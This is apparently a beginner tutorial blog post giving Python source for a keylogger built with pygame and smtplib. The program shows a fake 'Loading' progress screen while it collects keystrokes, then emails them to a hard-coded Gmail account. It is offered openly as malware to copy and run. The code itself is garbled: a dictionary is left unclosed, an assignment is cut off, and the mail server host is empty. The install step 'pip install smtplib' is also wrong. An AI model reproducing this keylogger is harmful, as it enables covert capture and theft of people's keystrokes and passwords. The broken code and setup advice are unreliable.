Python 3 Email Keylogger GUI Desktop App Script Using Pygame and Smtplib Library Which Sends Keystrokes Logs as Email Full Project For Beginners


Welcome folks today in this blog post we will be building a email sending keylogger python script using pygame and smtplib library.All the full source code of the application is shown below.




Get Started



In order to get started you need to install the below libraries using the pip command as shown below



pip install pygame


pip install smtplib


After installing this libraries make an file and copy paste the following code



__author__ = 'WilsonKoder'

import pygame
import sys
import smtplib

FROMADDR, TOADDR   = "your_gmail_email", "gmail_address_to_send_to"
username, password = 'your_gmail_email', 'your_gmail_password'

red = (255, 0, 0)
x_val = 0
key_list = []
replacements = {
    13: '\n',
    32: ' ',


font = pygame.font.SysFont("comicsansms", 48)
text = font.render("Loading", 1, red, None)
screen = pygame.display.set_mode((800, 600))

clock = pygame.time.Clock()

running = True

while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
        if event.type == pygame.KEYUP:
            default =


    pygame.draw.rect(screen, red, (0, 550, x_val, 20))
    x_val += 0.1
    screen.blit(text, (325, 100))

# The actual mail send
server = smtplib.SMTP('')
server.sendmail(FROMADDR, TOADDR, ''.join(key_list))

Leave a Reply